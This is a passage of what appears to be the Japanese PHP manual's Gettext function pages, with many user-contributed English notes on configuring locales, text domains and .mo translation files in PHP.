$originals = glob("$translationDir/*/LC_MESSAGES/messages.mo");
foreach ($originals as $file)
    $mtime = max($mtime, filemtime($file));
$domain = "messages_$mtime";
$current = glob("$translationDir/*/LC_MESSAGES/$domain.mo");
if (count($originals) != count($current)) {
    foreach (glob("$translationDir/*/LC_MESSAGES/messages_*.mo") as $file)
        unlink($file);
    foreach ($originals as $file)
        link($file, substr($file, 0, -3)."_$mtime.mo");
}
bindtextdomain($domain, $translationDir);
textdomain($domain);

What this script does is check whether at least one of the translations is updated and if so remove all messages_*.so and hard link all messages.po to corresponding messages_$mtime.po, where $mtime is set to the latest modified translation file. Since it uses a new domain ("messages_$mtime") it is not cached.
analpaper{gmail} 28-Aug-2008 02:36
in response to richard:
i was using the wildcard * for sometime ago without problem, until today.

i used:
<?php bindtextdomain( '*', './locale' ); ?>
but it seems to fail under some environments (i dont know why, but in diff machines with same software the result is not always as expected)..

then, with:
<?php bindtextdomain( "*", './locale' ); ?>
all is nicely translated again.

i use single quotes always if possible, now there are another think to remember.
---
live2code
Sbastien Ballest-Antich 21-May-2008 06:08
A workaround to use heredoc and gettext strings with sprintf :
<?php
$hd = <<<EOD
   <p>%s</p>
   <p>%s</p>
EOD;
$hdgt = sprintf($hd, _('Heredoc'), _('gettext'));
var_dump($hdgt);
?>
titan at phpdevshell dot org 07-Mar-2008 11:25
If you would like to create a .po file with include heredoc scripts inside curly brackets {} solution is as follows;

I want to translate what in here (test.php):
<code>
<?php
$EOF = <<<EOF
{$t->__('I want to translate this string.')}
EOF;
?>
</code>

You will have to use the xgettext (gnu utility) with the Python parser like so:
<code>
$ xgettext --default-domain=test --keyword=__ --keyword --language=Python test.php
</code>

The above terminal command might seem wrong with --keyword used twice, this is however correct.
SEWilco 25-Jul-2007 02:21
People have suggested several combinations of configuration options.  Consider trying nested loops with various combinations of language names (with and without character set suffixes) and pathnames.  A gettext() call in the middle of the loops can test for success (a string being translated).

"Of 4374 localization setup variations tested there were 0 successes."

Sometimes one just has to fix the system and PHP configuration.
jon at nospam dot foo 25-Apr-2007 03:37
I'm sure I'll confuse further, but I feel compelled to chime in.  I got stuck on this a bit...

It's absolutely critical that your gettext installation supports the locale you are trying to use in your setlocale(LC_MESSAGES,$locale) call.

This does not work:

setlocale(LC_MESSAGES,"en");

in OpenSUSE 10.2, because /usr/lib/locale does not contain the directory "en" (out of the box), even though your custom LC_MESSAGES domain location might.

In OpenSUSE 10.2, at least, /usr/lib/locale contains for USA English:

en_US
en_US.iso885915
en_US.utf8

(again, not "en").

It might be possible to set up an alias, I'm not sure (does anyone have a idea about this).

My goal was to use HTTP_ACCEPT_LANGUAGE to set locale (I realize that locale != language, but it seems that gettext uses locale to assign language (scratches head) ).  Opera in OS X does not send "en_US".  However, Firefox does out of the box.  I'm not sure if it's supposed to work this way, but it seems like it should, and so the way Opera handles this appears to be an issue.  Incidentally, Safari simples send "en" in HTTP_ACCEPT_LANGUAGE, and will also not work.

This compelled me to set a configurable default locale (e.g "en_US") in my PHP app, which one probably should do anyway, because HTTP_ACCEPT_LANGUAGE might be blank.
jeremy at jeremy dot se dot nospam 20-Feb-2007 11:27
As some of you have mentioned, you must have the locales compiled on your system first. How this is done is depending on your system/distribution *sigh*

In every case you need to have gettext installed on your system. Users running a Linux with a recent version of libc will have gettext in libc already.

Here's an example for those of you running Ubuntu Edgy.

First of all, have a look in /usr/share/i18n/SUPPORTED, here are the locales that are supported on your system. To compile a locale we will use the command "locale-gen". ("man 8 locale-gen" is good reading)

This command reads configuration from files in the folder /var/lib/locales/supported.d/ In these files the locales and charsets are defined.

If we take swedish as an example, start by creating a file called "sv" in /var/lib/locales/supported.d/ and then put in something like "sv_SE.UTF8 UTF8" (without the " ") This says that we want the locale sv_SE to be built with charmap UTF-8. Check the file /usr/share/i18n/SUPPORTED for other alternatives.

Now we run "locale-gen" which will compile all locales defined in /var/lib/locales/supported.d/ and put them in /usr/lib/locales (yes that's a lot of locations...)

Now you're ready to go...

Create a php-file (e.g. hello.php) where all strings you want to translate are surrounded with _("string here");

next run "xgettext hello.php", this creates a file called messages.po, which is you translation-file (pot). Change the "Content-Type: text/plain; charset=CHARSET\n" in this file and replace CHARSET with UTF-8 in this case. Next translate all strings like this.

#: hello.php:3
msgid "hello!"
msgstr "hej!"

Save and use the command "msgfmt -o hello.mo messages.po" which will create a compiled .mo file called hello.mo

This file is then placed in a directory structure somewhere your Apache can read it. The structure looks like this:

"locale/sv/LC_MESSAGES/hello.mo"

Next, let php know what we're doing. We point to where we have our translations. Add the following at the top of hello.php

bindtextdomain('hello','/somepath/locale');

This binds the file hello.mo to the locale/ directory you created.
Then set the locale. LC_ALL tells that we want everything translated. Might not be good at all times, as another person here suggested.

setlocale(LC_ALL, "sv_SE.UTF-8");

Finally select the that we want to use hello.mo

textdomain('hello');

That should be it! Try it out..

If you get any problems try restarting Apache as it seems to cache the locales.

If you are running command line you might have to set the environment variable LANGUAGE to your locale as well. I didn't have to do that to get it working in apache though, but you might...

putenv("LANGUAGE=sv_SE.UTF-8");
djogopatrao at gmail dot com 31-Oct-2006 03:57
Juan Liska, I found an alternative. Instead of renaming or adding a alias to the locale, I simply changed

$language = 'pt_BR';

to

$language = 'pt_BR.UTF-8';
putenv("LANG=$language");
setlocale(LC_ALL, $language)

and it did work fine!
konrads/smelkovs/gmail/com 11-Oct-2006 07:16
re LC_MESSAGES for windows users, LC_MESSAGES should be defi0ned as 5
C Snover 13-Aug-2006 04:26
I think that it bears mentioning that most documentation and tutorials you will find say that you should setenv(LC_ALL, $locale), but this only works IF THE LOCALE IS VALID ON THE LOCAL MACHINE. If you are using a locale that does not exist on the system or is not valid (like something returned from the HTTP Accept-Language header, such as 'ja', which is never a valid locale because it does not include the country code JP), you will probably be pulling your hair out for HOURS trying to figure out why the damn thing isn't working.

What I have found is that setting the LANGUAGE variable (eg. setenv("LANGUAGE=$locale")) will allow gettext to search inside your locale directories, even if the locale is not actually valid on the local system.

So, to summarize:

This will work:
<?php
$locale = 'ja'; // Pretend this came from the Accept-Language header
$locale_dir = './locale'; // your .po and .mo files should be at $locale_dir/$locale/LC_MESSAGES/messages.{po,mo}

putenv("LANGUAGE=$locale");
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

This will not work:
<?php
$locale = 'ja';
$locale_dir = './locale';

putenv("LC_ALL=$locale");
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

This will also not work:
<?php
$locale = 'ja';
$locale_dir = './locale';

setlocale(LC_ALL, $locale);
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

Nor will this work:
<?php
$locale = 'ja';
$locale_dir = './locale';

setlocale(LC_MESSAGES, $locale);
bindtextdomain('messages', $locale_dir);
textdomain('messages');
?>

For reference, this was tested on PHP 5.1.2 + LigHTTPd 1.4.11 + gettext 0.14.5 on Ubuntu Dapper 6.06. It should be true for any variant of Linux, however, as well as older versions of these software packages.
richard at hirner dot at 13-Jul-2006 04:43
the * wildcard doesn't work for me (php 5)... I have to use bindtextdomain for each textdomain
webmaster [at] ttw [dash] tool [dot] de 21-May-2006 04:49
If you want to use messages from multiple domains with .mo-files residing in non-standard locations remember to place a bindtextdomain()-call for each domain as "unbound" domains will be looked for in the standard location (usually "/usr/share/locale" on *nix)

<?php

    bindtextdomain('foo','/some/dir/with/mo_files');
    bindtextdomain('bar','/another/mo_file/dir');

    echo dgettext('foo','Text to be translated using the foo-catalog.');
    echo dgettext('bar','Text from a different catalog named bar.');

?>

If all the .mo-files you are using reside in one and the same directory, you may use the "*"-wildcard like this:

<?php

    bindtextdomain('*','/directory/with/all/mo_files');

?>

This code was tested on PHP 5.1.4
info at adaniels dot nl 19-Apr-2006 12:19
As stated by robert at klugher dot com:
The environment setting 'LANGUAGE' gets priority above any local setting. This means that changing LC_ALL/LC_MESSAGES and LANG as done in almost all examples, won't do anything.

So if you've done
<?php
    $language = "nl_NL";
    putenv("LANG=$language");
    setlocale(LC_ALL, $language);
    ...
?>
but the text is still displayed in english. Try also setting the LANGUAGE variable.
<?php
    $language = "nl_NL";
    putenv("LANGUAGE=$language");
    putenv("LANG=$language");
    setlocale(LC_ALL, $language);
    ...
?>
birkholz at web dot de 28-Mar-2006 09:52
> stefan+usenet at froehlich dot priv dot at wrote at 5-May-2004 01:30:
> Reading the line
>
> <? php setlocale(LC_ALL, 'de_DE'); ?>
>
> here over and over again, I have to warn using it, as there are severe caveats.
> For certain locales, LC_NUMERIC swaps period and comma, which may e.g. lead to
> decimals silently stripped of numbers, when inserting rows into an SQL database.
>So DON'T do this, but use
>
> <? php setlocale(LC_MESSAGES, 'de_DE'); ?>
>
> instead, which does exactly what you want, without any nasty side effecs.

For all Windows-Users:
Be warned the LC_MESSAGES seems to be NOT set on Windows with PHP 5.1.2, so if you develope applications for a Linux-System and want to make it multi-language using gettext, you will get problems using LC_MESSAGES on your Windows-Developement-Box.
You can try to solve this problem by putting a

<?php if (!defined('LC_MESSAGES')) define('LC_MESSAGES', 6); ?>

to your script to get no warning if you pass LC_MESSAGES to the setlocale()-function.
Juan Liska 15-Nov-2005 03:09
if you're having trouble with setlocale (if it's returning false) on ubuntu or debian:

nano /etc/locale.gen

make sure that the locales taht you want are in the list, if not, add them. for instance, i wanted es_GT (b/c i have an app that must run on redhat and debian, i cant change to es_GT.UTF-8) so, add:

es_GT UTF-8

then run:

locale-gen

you now have the locales you want, not just the ones the system magically came with
milky#users:sf/net 09-Jun-2005 06:12
There exists an emulation for the gettext functions - obviously slower than the native binding, but can be used on shared servers which lack the extension. It is believed to be rather useful as fallback (comes already encapsulated with if-function_exists checks).
See the ext/ directory in the [ http://freshmeat.net/p/upgradephp ] tarball.  Support for plural translations isn't there, because that is too hard to get reimplemented reliably.
tucsi at c2 dot hu 18-May-2005 04:09
If your gettext translation does not work in safe mode, than try to set this in the php.ini:
safe_mode_allowed_env_vars = PHP_,LANG
Maxwel Leite -maxwelleite at gmail com- 27-Apr-2005 12:36
PHP-gettext is developed to be able to read gettext MO files directly, without requiring anything other than PHP:
https://savannah.nongnu.org/projects/php-gettext/
elonen at iki dot fi 30-Mar-2005 01:51
For making localized copies of PHP files (statical l10n), here's a GPL'd command line tool: http://iki.fi/elonen/code/pophorator/
dpatton at confluence dot org 27-Feb-2005 10:47
Make sure you check your webserver configuration before deciding to use gettext, because if you are running in a multi-threaded environment you should not use gettext, as it is not thread-safe.

A future version of gettext(possibly 0.15) may be thread-safe.
Any gettext dependencies, such as glibc would also need to be thread-safe.

Apache 1.3 on Unix generally is non-threaded, but on Windows it is multithreaded.
Apache 2.0 has support for MPMs(Multi-Processing Modules), some of which support multiple threads:
http://httpd.apache.org/docs-2.0/mpm.html
zixia at zixia dot net 11-Jun-2004 02:42
If gettext does not work with your locale, ie 'zh_CN', just going to see if the output of command "localedef --list-archive" contains your locale('zh_CN' in this example).
If it not, try to use a exist locale or use "localedef" to create one: "localedef -f GBK -i zh_CN zh_CN" in my case.
mikolaj at webgate dot bg 10-Jun-2004 04:54
winXP, PHP 4.3.5 as Apache1.3.29 module

Two hints for Windows users.

I found setting locale is neither sufficient nor nessecery. To get it work I needed to set either LC_ALL or LANG enviroment variable to my locale. Anyway this value must be proper for setlocale so it is good to test with it. In my case it was bgr_BGR for bulgarian according to http://www.unicode.org/onlinedat/countries.html

gettext checks for files once and keeps them in cashe. Especially it means that if it doesn't find your files it won't search again, so restart Apache after any directory changes!!

My minimal working script:
<?php
// translation file: D:\Apache\htdocs\mypage\locale\bgr_BGR\LC_MESSAGES\messages.mo
putenv("LC_ALL=bgr_BGR");
bindtextdomain('messages', 'D:\Apache\htdocs\mypage\locale\\');
echo gettext("Hello");
?>
stefan+usenet at froehlich dot priv dot at 05-May-2004 04:30
Reading the line

<? php setlocale(LC_ALL, 'de_DE'); ?>

here over and over again, I have to warn using it, as there are severe caveats. For certain locales, LC_NUMERIC swaps period and comma, which may e.g. lead to decimals silently stripped of numbers, when inserting rows into an SQL database. So DON'T do this, but use

<? php setlocale(LC_MESSAGES, 'de_DE'); ?>

instead, which does exactly what you want, without any nasty side effecs.
kocio at irc dot pl 03-May-2004 03:26
Following three lines take about 0.5 second to execute (Debian, Celeron 2GHz, 256MB RAM):

setlocale(LC_ALL, 'pl_PL');
bindtextdomain('my_domain', '../dir/' . 'locale');
textdomain('my_domain');

I think that such delay is important enough to be mentioned in the documentation. In my particular case, it means more than doubled execution time for the entire script.
dev.php at tfelber.net 26-Aug-2003 07:35
Check your

/etc/locales.aliases for "english en_GB.ISO-8859-1" (mentioned before)

and your

/etc/locales.gen for en_GB.ISO-8859-15 ISO-8859-15

I'm not sure if only this entry solved the problem. In my case this entry was made by an dpkg-reconfigure locales (debian), where i created the locales.

Translation only works with de_GE@euro and  en_GB.ISO-8859-15 (first column in you locales.gen)
wouter at grep dot be 13-Aug-2003 12:28
Of course, translation is only interesting if you provide the user with the language and encoding he asks for. Since there's part of the HTTP protocol that allows you to specify that, it's nice if one can use that information to pick the 'right' translation out of the ones you have available.

I wrote something that does just that -- it parses the 'Accept-Language' and 'Accept-Charset' HTTP/1.1 headers, and tells you which one the user prefers out of a list you provide. You can download it at http://www.grep.be/articles/php-accept.php

Note that even if the user's browser may support this, the user may not know about it; as such, it's probably good practice not to remove links to other-languaged versions, so that people can still get a version of your site in another language if they so prefer.
jc 14-Jul-2003 01:15
I had a lot of problems getting gettext to work (RedHat 7.3). After reading ALL the comments in this manual, I got it to work OK.

In summary, take care that:

1) You use a full locale in the setlocale()
2) Your language_country exists in the /usr/share/locale/locale.alias
3) It seems that Apache needs to be restarted (a "graceful" did the trick for me)
4) Your .mo files must be named after the domain

My code:

$language = "es_ES";
$locale = setlocale(LC_ALL, $language);

$gettext_domain = 'messages';
bindtextdomain($gettext_domain, "/full/path/to/locale");
textdomain($gettext_domain);
anim8 17-Jun-2003 06:15
Even though in some cases setlocale() may require a country code in addition to the language code this does not mean that it is required for gettext.

If setlocale() is set to either es_ES or es_MX gettext() will still get the text from a po file in the 'es' folder.

It probably is not a good idea to go changing a systems alias file(s) just to avoid the verbosity of the ISO standard because:
  a) you might break something
  b) your code just lost it's portability

.
13-Jun-2003 07:41
The way I got gettext to work with just a standard "de" or "fr" instead of "de_DE" was I overwrote my /usr/share/locale/locale.alias with /usr/lib/X11/locale/locale.alias file.  The I restarted Apache.  Reason I did this was it appeared the X11 file was more up to date and more modernised!
Picco 08-Jun-2003 10:45
Note to Chinese programmers....

Took me hours to figure out you cannot use

LANG=zh
but have to use
LANG=zh_TW
on some machines...

a good way to test will be to check the return of setlocale()
robert at klugher dot com 25-Feb-2003 05:24
One trick I found after HOURS of tries :

when you use the setlocale(), PHP will use the locale info it will find in, for example, /usr/share/locale to set the language info for LC_ALL, LC_MESSAGES, ...

You can check the exact info it will use by using putenv() with LANG=.... and looking at the return value of setlocale(LC_ALL, ""). The language value your gettext function will use to look for your translation file is the one given for LC_MESSAGES.

Example :

I was setting the LANG as fr_BE, and placed the translation file in dirxxx/locale/fr_BE/LC_MESSAGES/...
As it was locale info in my system for fr_BE but NOT LC_MESSAGES, PHP choosed to use the LC_MESSAGES settings for fr_FR instead and then, was looking for a translation file in dirxxx/locale/fr_FR/LC_MESSAGES/..., which wasn't found of course.

So, just make sure to look at the return value of setlocale to see what language value is associated to LC_MESSAGES and, then, to know in which subdirectory the translation file will be looked for by gettext.

Robert
php at zpod dot ca 29-Jan-2003 07:24
For those of you just trying to get a script working and your provider doesn't support gettext, you can bypass the international stuff by adding this:

function _($str) {
    return $str;
}
Eneko Lacunza enlar at enlar dot net 16-Jan-2003 08:20
Some tips from my Red Hat Linux 7.3 system.

It didn't work for me until I set a full locale (i.e. es_ES) with setlocale.

I was trying with Michele Manzato's example (thank you!), but as it sets the language without the country, it was failing for me. Here is the example "fixed" with full locale:

// Change to script directory
// (Not needed in RH 7.3)
$path = dirname(getenv(PATH_TRANSLATED));
chdir($path);

// Set the language as full locale 'es_ES'
$language = 'es_ES';
putenv("LANG=$language");
setlocale(LC_ALL, $language);

// Set the text domain as 'mydomain'
$domain = 'mydomain';
bindtextdomain("$domain", "./locale");
textdomain("$domain");

// The .mo file searched is:
// ./locale/es_ES/LC_MESSAGES/mydomain.mo
// or if previous one doesn't exist:
// ./locale/es/LC_MESSAGES/mydomain.mo

echo gettext("Hello world!");

Hope this helps!
Eneko.
php at dynaperl dot com 25-Jun-2002 06:49
If you install from SuSE Dist. you need glibc-locale.rpm to let gettext work.

mfg ralph.
mgvNOSPAM at fx dot ro 04-Jun-2002 07:47
If you're as clueless as I am, please note the following:
1. Although most comments list setlocal() in the code, that's not actually required for translations - read the docs under "string functions" for details (also, the official gettext() examples don't include it);
2. hace_x's example is really cool, except you need to know that all "n"'s at the end of his strings should have a backslash before - they're actually EOL characters, but they somehow got messed up and I needed two hours to find that out...
Michele dot Manzato at verona dot miz dot it 14-Sep-2001 03:52
Gettext is great, but there are a few caveats you have to consider in order to make it work. Unfortunately the gettext docs isn't so plain and clear...

The .mo file created with the gettext utilities must be:

[bindtextdomain's dir]/[language]/LC_MESSAGES/[domain].mo

otherwise gettext() function will fail to find it (this is true in win32, don't know about Un*ces). By the way you don't get any error message, the strings will simply remain untranslated.

Second, you must make sure which is the current directory if you use a relative path in bindtextdomain. On some systems the script directory isn't the current directory, so you have to chdir() there.

Then, of course, make sure that the appropriate gettext extension are loaded by PHP by looking at the php configuration file.

Here is some sample code:

// Change to the script directory
$path = dirname(getenv(PATH_TRANSLATED));
chdir($path);

// Set the language as 'it'
$language = 'it';
putenv("LANG=$language");
setlocale(LC_ALL, $language);

// Set the text domain as 'mydomain'
$domain = 'mydomain';
bindtextdomain("$domain", "./locale");
textdomain("$domain");

// The .mo file searched is:
// ./locale/it/LC_MESSAGES/mydomain.mo

echo gettext("Hello world!");

Have fun!
Michele
11-Jul-2001 05:40
It is probably obvious to many of you,  but I thought it was worth mentioning that the domain is the name of the .mo files that contain the string catalogue (without the extension).

so if you have a catalogue myPage.mo for each page in './locale/lg/LC_MESSAGE' and some generic catalogues (e.g. errorMsg.mo) in '/global/locale/lg/LC_MESSAGE', you can do

bindTextDomain("$myPage", './locale');
bindTextDomain('errorMsg','/global/locale' );
textDomain('myPage');
print(getText('Welcome'));
/.../
if($err)printf(dGetText('errorMsg','you have an error here'));

Ivan


DOMAIN メッセージカタログから返されるメッセージの文字エンコーディングを設定/取得する

  • ≪ Gettext 関数
  • bindtextdomain ≫
  • PHP Manual
  • Gettext 関数
  • DOMAIN メッセージカタログから返されるメッセージの文字エンコーディングを設定/取得する

bind_textdomain_codeset

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

bind_textdomain_codeset — DOMAIN メッセージカタログから返されるメッセージの文字エンコーディングを設定/取得する

説明

bind_textdomain_codeset ( string $domain , string|null $codeset ) : string|false

bind_textdomain_codeset() を使用することで、 gettext() やその類似の関数において返される、 domain からのメッセージの文字エンコーディングを 設定したり、取得することが可能です。

パラメータ

domain

ドメイン。

codeset

コードセット。 null を指定すると、現在設定されているエンコーディングが返されます。

返り値

成功した場合に文字列を返します。

変更履歴

バージョン | 説明
8.0.3 | codeset は、nullable になりました。 これより前のバージョンでは、 現在設定されているエンコーディングは取得できませんでした。

注意

注意:

bind_textdomain_codeset() 関数の情報はプロセス単位で管理されます。 スレッドではありません。

User Contributed Notes

jon at rejon dot org 31-Aug-2006 12:58
So, by using this function and by setting the LANGUAGE variable, you should be able to have a functioning i18n system that is not dependent upon a system's locale installation. Here is a sample from a method I created for a language class. Look for it on http://wiki.creativecommons.org/Developer soon:

    function Init ()
    {
        // set the LANGUAGE environmental variable
        // This one for some reason makes a difference FU@#$%^&*!CK
        // and when combined with bind_textdomain_codeset allows one
        // to set locale independent of server locale setup!!!
        if ( false == putenv("LANGUAGE=" . $this->_language ) )
            CCDebug::Log(sprintf("Could not set the ENV variable LANGUAGE = %s",
                                 $this->_language));

        // set the LANG environmental variable
        if ( false == putenv("LANG=" . $this->_language ) )
            CCDebug::Log(sprintf("Could not set the ENV variable LANG = %s",
                                 $this->_language));

        // if locales are not installed in locale folder, they will not
        // get set! This is usually in /usr/lib/locale
        // Also, the backup language should always be the default language
        // because of this...see the NOTE in the class description

        // Try first what we want but with the .utf8, which is what the locale
        // setting on most systems want (and is most compatible
        // Then just try the standard lang encoding asked for, and then if
        // all else fails, just try the default language
        // LC_ALL is said to be used, but it has nasty usage in some languages
        // in swapping commas and periods! Thus try LC_MESSAGE if on one of
        // those systems.
        // It is supposedly not defined on WINDOWS, so am including it here
        // for possible uncommenting if a problem is shown
        //
        // if (!defined('LC_MESSAGES')) define('LC_MESSAGES', 6);
        // yes, setlocale is case-sensitive...arg
        $locale_set = setlocale(LC_ALL, $this->_language . ".utf8",
                                        $this->_language . ".UTF8",
                                        $this->_language . ".utf-8",
                                        $this->_language . ".UTF-8",
                                        $this->_language,
                                        CC_LANG);
        // if we don't get the setting we want, make sure to complain!
        if ( ( $locale_set != $this->_language && CC_LANG == $locale_set) ||
             empty($locale_set) )
        {
            CCDebug::Log(
                sprintf("Tried: setlocale to '%s', but could only set to '%s'.",                        $this->_language, $locale_set) );
        }

        $bindtextdomain_set = bindtextdomain($this->_domain,
                                  CC_LANG_LOCALE . "/" . $this->_locale_pref );
        if ( empty($bindtextdomain_set) )
            CCDebug::Log(
            sprintf("Tried: bindtextdomain, '%s', to directory, '%s', " .
                    "but received '%s'",
                    $this->_domain, CC_LANG_LOCALE . "/" . $this->_locale_pref,
                    $bindtextdomain_set) );

        bind_textdomain_codeset($this->_domain, "UTF-8");
        $textdomain_set = textdomain($this->_domain);
        if ( empty($textdomain_set) )
            CCDebug::Log(sprintf("Tried: set textdomain to '%s', but got '%s'",
                                 $this->_domain, $textdomain_set));

    } // end of method Init ()
przemekkus at interia dot pl 05-Jun-2006 11:54
I had problems with German "umlauts" when using gettext. So, this is how it can be resolved:

I've put these lines itom my PHP code:

$domain = "messages";
bindtextdomain($domain, "path_to_messages_dir");
bind_textdomain_codeset($domain, 'ISO-8859-15');
textdomain($domain);

It works!
duckx at mezimail dot com 24-May-2004 11:33
First the the url of the gettext manual changed:
http://www.gnu.org/software/gettext/manual/

Secondly, lets explain a little bit what this fonction does.
By default, gettext will use the LC_CTYPE of the language you choose (for example fr_FR).
This LC_CTYPE is extracted from your locales.alias file in your configuration dir (Should be /etc/locales.alias).
By default, the encoding is frequently iso-8859-1.

So if you want to make your site utf-8 aware, you need to bind your domain with the right encoding.
Here is a sample:
<?php
   $locale="fr_FR.UTF-8"
   setlocale(LC_MESSAGES,  $locale);
   $domain = 'your_text_domain';
   bindtextdomain($domain, './translations_path');
   textdomain($domain);
   bind_textdomain_codeset($domain, 'UTF-8');

?>

As quoted in other notes, the translations path should be like
/translations_path
   /de_DE/
       /LC_MESSAGES
   /fr_FR/
       /LC_MESSAGES
   ...

Your translation goes in the LC_MESSAGES dirs ... Hopes this helps :)


ドメインのパスを取得/設定する

  • ≪ bind_textdomain_codeset
  • dcgettext ≫
  • PHP Manual
  • Gettext 関数
  • ドメインのパスを取得/設定する

bindtextdomain

(PHP 4, PHP 5, PHP 7, PHP 8)

bindtextdomain — ドメインのパスを取得/設定する

説明

bindtextdomain ( string $domain , string|null $directory ) : string|false

bindtextdomain() 関数は、ドメインへのパスを取得/設定します。

パラメータ

domain

ドメイン。

directory

ディレクトリのパス。 null を指定すると、現在設定されているディレクトリが返されます。

返り値

現在設定されているドメインへのフルパスを返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.3 | directory は、nullable になりました。 これより前のバージョンでは、現在設定されているディレクトリを取得できませんでした。

例

例1 bindtextdomain() の例

<?php

$domain = 'myapp';
echo bindtextdomain($domain, '/usr/share/myapp/locale');

?>

上の例の出力は以下となります。

/usr/share/myapp/locale

注意

注意:

bindtextdomain() 関数の情報はプロセス単位で管理されます。 スレッドではありません。

User Contributed Notes

roel dot vermeulen at gmail dot com 05-Jun-2016 05:49
I recommend using absolute paths in the $directory parameter. This caused me several hours to debug as Ajax calls to my localization functions messed up the path. And since no error if thrown if the path in $directory cannot be found, one should check the result always:

<?php
    // Imagine the path for this file is "/localization" and your locales are in the "/locale" directory.
    $pathToDomain = __DIR__ . "/../locale";
    if ($pathToDomain != bindtextdomain($domain, $pathToDomain)) {
        // Error handling.
    }
?>
n8klatt 20-Nov-2014 05:47
The name of your .mo file must match the $domain, e.g. name your files messages.mo and call bindtextdomain("messages", $directory).


単一の参照に関するドメインを上書きする

  • ≪ bindtextdomain
  • dcngettext ≫
  • PHP Manual
  • Gettext 関数
  • 単一の参照に関するドメインを上書きする

dcgettext

(PHP 4, PHP 5, PHP 7, PHP 8)

dcgettext — 単一の参照に関するドメインを上書きする

説明

dcgettext ( string $domain , string $message , int $category ) : string

この関数により単一の参照についてカレントのドメインを上書きすることができます。

パラメータ

domain

ドメイン。

message

メッセージ。

category

カテゴリ。

返り値

成功した場合に文字列を返します。

参考

  • gettext() - 現在のドメインのメッセージを参照する

User Contributed Notes

chaosben at gmail dot com 04-Feb-2021 04:13
As of today, you can use the LC_* constants as last parameter.

<?php
echo dcgettext('main', 'My Text', LC_MESSAGES);
?>
zak at nucleus dot com 04-Dec-2000 03:05
The category argument allows a specific category of the locale settings to be used for fetching a message.  Valid categories are:

LC_CTYPE, LC_NUMERIC, LC_TIME, LC_COLLATE, LC_MONETARY, LC_MESSAGES and LC_ALL.

Note that the category must be specified with a numeric value, instead of the constant name.  The values are:

LC_CTYPE        0
LC_NUMERIC      1
LC_TIME         2
LC_COLLATE      3
LC_MONETARY     4
LC_MESSAGES     5
LC_ALL          6


dcgettext の複数形版

  • ≪ dcgettext
  • dgettext ≫
  • PHP Manual
  • Gettext 関数
  • dcgettext の複数形版

dcngettext

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

dcngettext — dcgettext の複数形版

説明

dcngettext ( string $domain , string $singular , string $plural , int $count , int $category ) : string

この関数により単一の複数形メッセージの参照について カレントのドメインを上書きすることができます。

パラメータ

domain

ドメイン。

singular

plural

count

category

返り値

成功した場合に文字列を返します。

参考

  • ngettext() - gettext の複数形版

User Contributed Notes

There are no user contributed notes for this page.


現在のドメインを上書きする

  • ≪ dcngettext
  • dngettext ≫
  • PHP Manual
  • Gettext 関数
  • 現在のドメインを上書きする

dgettext

(PHP 4, PHP 5, PHP 7, PHP 8)

dgettext — 現在のドメインを上書きする

説明

dgettext ( string $domain , string $message ) : string

dgettext() 関数により、単一のメッセージ参照について 現在のドメインを上書きすることができます。

パラメータ

domain

ドメイン。

message

メッセージ。

返り値

成功した場合に文字列を返します。

参考

  • gettext() - 現在のドメインのメッセージを参照する

User Contributed Notes

viral at noeticsolutions dot com 30-Mar-2006 02:42
While using this function, remember to call bindtextdomain for as many domains as you want to use in your application.  For example, if I have module1 and module2 as 2 separate domains in the same application, you can do the following:

bindtextdomain("module1", "//path/to/my/locale/folder");
bindtextdomain("module2", "//path/to/my/locale/folder");
textdomain("module1");

echo _("Label1"); // this call will get the message from module1
echo dgettext("module2", "Label1"); // this call will get the message from module2

===
Viral Shah


dgettext の複数形版

  • ≪ dgettext
  • gettext ≫
  • PHP Manual
  • Gettext 関数
  • dgettext の複数形版

dngettext

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

dngettext — dgettext の複数形版

説明

dngettext ( string $domain , string $singular , string $plural , int $count ) : string

dngettext() 関数により、単一の複数形メッセージ参照について 現在のドメインを上書きすることができます。

パラメータ

domain

ドメイン。

singular

plural

count

返り値

成功した場合に文字列を返します。

参考

  • ngettext() - gettext の複数形版

User Contributed Notes

There are no user contributed notes for this page.


現在のドメインのメッセージを参照する

  • ≪ dngettext
  • ngettext ≫
  • PHP Manual
  • Gettext 関数
  • 現在のドメインのメッセージを参照する

gettext

(PHP 4, PHP 5, PHP 7, PHP 8)

gettext — 現在のドメインのメッセージを参照する

説明

gettext ( string $message ) : string

現在のドメインのメッセージを参照します。

パラメータ

message

翻訳するメッセージ。

返り値

翻訳テーブルに翻訳文字列が見つかった場合にその文字列、 あるいは見つからなかった場合に元の文字列を返します。

例

例1 gettext() のチェック

<?php
// ドイツ語に設定します
putenv('LC_ALL=de_DE');
setlocale(LC_ALL, 'de_DE');

// 変換テーブルの場所を指定します
bindtextdomain("myPHPApp", "./locale");

// ドメインを選択します
textdomain("myPHPApp");

// 翻訳内容は ./locale/de_DE/LC_MESSAGES/myPHPApp.mo から検索されます

// テストメッセージを出力します
echo gettext("Welcome to My PHP Application");

// あるいは、gettext() のかわりに _() も使用可能です
echo _("Have a nice day");
?>

注意

注意:

この関数のエイリアスとして、アンダースコア文字 '_' を使用することができます。

注意:

言語を設定するだけではだめなシステムもあり、 putenv() を使って正しいロケールを定義しなければなりません。

参考

  • setlocale() - ロケール情報を設定する

User Contributed Notes

ck at claudiokuenzler dot com 16-Nov-2020 12:57
If you come across a situation where the translation works fine on CLI but not on Apache, it may be caused by the Perl Apache module.

Basic translate.php:

<?php
// Set locale
putenv("LC_ALL=de_CH.UTF-8");
putenv("LANGUAGE=");
putenv("LANG=de_CH.UTF-8");
$res = setlocale(LC_ALL, 'de_CH.UTF-8', 'de_CH', 'de');
echo bindtextdomain("homepage", "./locale");
textdomain("homepage");

$results = gettext("My English Text");
if ($results === "My English Text") {
    echo "Original English was returned. Something wrong\n";
} else {
    echo $results;
}
?>

On the CLI the translation works:

$ php7.3 translate.php
Mein deutscher Text.

But not via Apache web server:

$ curl localhost/translate.php
Original English was returned. Something wrong

Disable Perl module and restart Apache:

# a2dismod perl
# systemctl restart apache2

And suddenly the translation works:

$ curl localhost/translate.php
Mein deutscher Text.

The exact reason for this behaviour is (as of right now) unknown to me.
saul dot dobney at notanant dot com 11-Jan-2019 09:39
